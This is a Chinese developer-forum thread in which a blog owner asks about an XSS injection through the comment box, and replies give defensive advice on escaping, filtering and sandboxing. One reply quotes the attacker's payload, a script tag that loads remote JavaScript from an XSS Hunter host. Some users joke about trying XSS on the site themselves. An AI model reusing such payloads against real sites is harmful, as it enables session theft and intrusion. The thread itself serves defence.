1
telung 2021-03-23 18:31:23 +08:00 3
技术不行啊,还是用开源的吧
|
2
qiayue 2021-03-23 18:33:31 +08:00 2
典型用途,偷你的管理员的 cookie,登录到你后台
|
3
imdong 2021-03-23 18:34:00 +08:00
htmlspecialchars 是为了防注入、防 XXS 的一种手段。
如果从数据库取出来到显示的时候,又 decode 了,那就破防了( xss ) 取出来不用 decode 直接输出。 |
4
Jirajine 2021-03-23 18:35:31 +08:00 via Android 10
问题在于你自己写的网站防注入没做好,你看你把这堆东西发到 v 站就一点问题都没有。
|
6
superrichman 2021-03-23 18:43:10 +08:00 via iPhone 1
人家已经知道你有 xss 了,肯定还有更多漏洞,准备迎接更多的攻击吧。
|
8
kingfalse 2021-03-23 18:45:19 +08:00 via Android
常规操作
|
9
l890908 OP @superrichman 这只是从评论框提交的而已,前端显示数据的时候确实 decode 了,结果中招了,这是单纯的偷 cookie 吗,还有有没有其他用途?
|
14
BBCCBB 2021-03-23 18:58:15 +08:00
防一下 xss 攻击. 简单点的, 后端针对 &<>'" 再转义, 然后前端也针对 xss 做处理.
|
16
kaiki 2021-03-23 19:28:51 +08:00 1
哈哈哈哈哈笑死我了,你还真原样存进去原样输出啊,试试这个
``` $str = trim($str); if(get_magic_quotes_gpc()) $str = stripslashes($str); $str = preg_replace('/([\x1-\x8\xB-\xC\xE-\x1F\x7F-\x84\x86-\x9F\x{FDD0}-\x{FDDF}])/u', '', htmlspecialchars($str)); ``` |
17
Rache1 2021-03-23 19:51:38 +08:00
存的时候不 encode,展示的时候 encode 就行了
|
18
WeKeey 2021-03-23 20:00:05 +08:00
|
19
sytnishizuiai 2021-03-23 20:51:05 +08:00
所有传进来的数据写个统一的过滤方法来过滤,否则想对外用的就用成熟的 blog 框架,练手的就无所谓了
|
20
jydeng 2021-03-23 21:04:18 +08:00
过滤一下就好
|
21
jimrok 2021-03-23 21:15:44 +08:00
其他用途呀,就是删你的数据库,勒索你的用户,用处可多了。
|
22
renmu123 2021-03-23 21:17:12 +08:00 via Android 2
回去一看服务器都已经被提权了
|
23
zhao372716335 2021-03-23 21:32:01 +08:00
明显被 xss 注入 js 了。前端提交的代码,必须处理字符,将 js 代码转义。
|
24
zhao372716335 2021-03-23 21:32:33 +08:00
否则,加载了第三方的 js,拿到你后台的 cookie,你就完蛋了
|
25
l890908 OP @zhao372716335 这些代码能不能看出意图是什么?
|
26
zhao372716335 2021-03-23 21:51:13 +08:00 1
@l890908
<script src=https://0xrohadi.xss.ht></script> 这个是加载的一个远程的 js 文件,你打开这个文件: https://0xrohadi.xss.ht/ This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters. If you believe that this payload has been used to attempt to compromise your service without permission, please contact us using https://xsshunter.com/contact. We take abuse of our service seriously and only allow security testing of services which our users have consent to test. -XSS Hunter Team */ // https://github.com/niklasvh/html2canvas |
27
l890908 OP @zhao372716335 对,我也看到这个,但是这里似乎没问题,但是也就加载了这个资源,没有加载其他资源
|
28
zhuweiyou 2021-03-23 23:07:42 +08:00 2
把网站发出来 让老哥们试试
|
29
zhao372716335 2021-03-24 00:39:49 +08:00
@l890908 这个 js 文件你敢说没问题?里面好多东西混淆了
|
30
GeruzoniAnsasu 2021-03-24 03:41:38 +08:00
你先把网站关了,服务器停掉。。。。
服务器停掉 服务器停掉 再重新开一个 = = 这个时候你的服务器可能都已经被日穿了 |
31
llyichT 2021-03-24 08:26:53 +08:00
后台用别的域名吧,cookie 与 IP 绑定,这样万一又被注入了,别人拿到也访问不了后台
|
32
rodrick 2021-03-24 09:04:13 +08:00
转义一下吧,这多好啊,以后就可以说自己有独立解决 XSS 攻击的实战经验
|
33
cslive 2021-03-24 09:28:01 +08:00
服务器重装系统吧,说不定人家正在白嫖你
|
34
dongtingyue 2021-03-24 09:33:44 +08:00 1
评论想支持 html 格式至少要把 script 标签去掉。
|
35
garlics 2021-03-24 09:51:05 +08:00
htmlspecialchars 可以正常过滤的,但是你输出的时候用 html_entity_decode 不就又把字符给转回去了。。
|
36
supuwoerc 2021-03-24 09:57:29 +08:00
昨天刚看到孤尽说 XSS 攻击的章节,今天就看到了哈哈哈
|
38
ganbuliao 2021-03-24 10:55:50 +08:00
就是简单的 xss 攻击 什么读 cookie 都是扯 就是你别用$GET 和 $POST, 用 input() 或者用个防止 xss 的函数就行了 网上一大把。strip_tags 和 htmlspecialchars
|
39
bbao 2021-03-24 10:56:24 +08:00
10 多年前刚开始学写表单的时候,就要被提醒,如果表单里面写了执行的 js 语句要怎么预防。
是可以被过滤掉的,对方并不是恶意,就是做测试罢了。 是你的站太脆弱了 |
40
wgbx 2021-03-24 10:57:58 +08:00
单纯 xss 而已,和 cookie 关系不大,禁用 or 转义用户上传的脚本
|
41
KasuganoSoras 2021-03-24 11:47:33 +08:00
评论区别用 HTML 了,改 Markdown 吧,常用的比如 Parsedown 这些都支持过滤 XSS,只要你把 Safe Mode 打开就行,存入数据库之前记得先转义,不过你用框架的话应该已经自动帮你完成了这些事
|
42
gy0624ww 2021-03-24 12:04:32 +08:00
录入的时候不需要过滤,原样保存,提出来的时候你要做转义
|
43
1rror 2021-03-24 12:09:40 +08:00
关站吧 , 服务器可能已经没了
|
44
killerv 2021-03-24 12:33:31 +08:00
xss 防范不是在写数据的时候做的,而是读数据的时候,把内容转义为 HTML 实体。
|
45
zw1one 2021-03-24 14:40:27 +08:00
楼主网址发一下,我也去试试 xss [狗头]
|
46
Telegram 2021-03-24 14:45:54 +08:00
|
47
SingeeKing 2021-03-24 14:46:01 +08:00
|
48
l890908 OP |
49
FucUrFrd 2021-03-24 14:53:07 +08:00
cookie 是 httponly 的, 为啥偷 cookie???现在已经 2021 了
|
50
iSecret 2021-03-24 16:33:29 +08:00
@l890908 对于 XSS,Cookie 和 Session 没什么区别,Session 同样会设置 Cookie UID 。只要窃取了 Cookie 了就能直接访问你的后台,如果后台有上传功能或者直接编辑文件的功能,建议做一些过滤,另外系统重装吧,你也不知道有没有被写马。
|
51
DOLLOR 2021-03-24 17:21:07 +08:00
展示来自用户的 html 的富文本,可以放在 iframe 里,并开启 sandbox,可杜绝富文本里的 script 。
例: <iframe src="./test.html" frameborder="0" sandbox></iframe> 参考: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe |
52
LudwigWS 2021-03-24 17:42:09 +08:00
怎么会有这么无聊的人啊
|
53
jmk92 2021-03-24 17:47:01 +08:00
技术问题,技术解决,跟他肛
|
54
FucUrFrd 2021-03-24 21:10:49 +08:00 via Android
楼猪,管理员后台应该只能 127.0.0.1 登陆,然后 ssh proxy 到主机
|
55
realpg 2021-03-24 21:17:11 +08:00
技术不行就上通用过滤组件
|
56
rekulas 2021-03-24 21:30:57 +08:00
tp 自带了防范危险输入的安全函数估计你没用
|
57
FucUrFrd 2021-03-24 22:27:42 +08:00 via Android
@killerv 现在是前端就直接转码了,然后后端直接渲染,就是要渲染转码后的不需要跟用户输入一致
|
58
huZhao 2021-03-24 22:36:20 +08:00
楼主,可以参考一下我的。
https://www.vcodei.com 我知道,我不专业, 然后就直接把站的注册给关了,连注册都注册不了,还想评论? 然后文章内容都是公众号,想留言,评论,去公众号留言去, 有本事,把企鹅给干了,,,😂 |
60
hanssx 2021-03-25 10:17:46 +08:00
|
61
killerv 2021-03-25 10:24:40 +08:00
@FucUrFrd 入库之前就转义了?这样做破坏了数据的原始性,举个例子,如果你要搜索尖括号你还能搜出来吗?
原则上用户输入什么就存储什么,xss 只在渲染层做就好。 |
63
former 2021-03-25 13:03:36 +08:00
xss,用 HTML Purifier,可以防范大多数情况
http://htmlpurifier.org/ https://github.com/ezyang/htmlpurifier 写入过滤,可以吧已有数据清洗一遍 |
64
woostundy 2021-03-25 15:28:47 +08:00
先去看看你的服务器是不是已经被种 shell 了吧。
|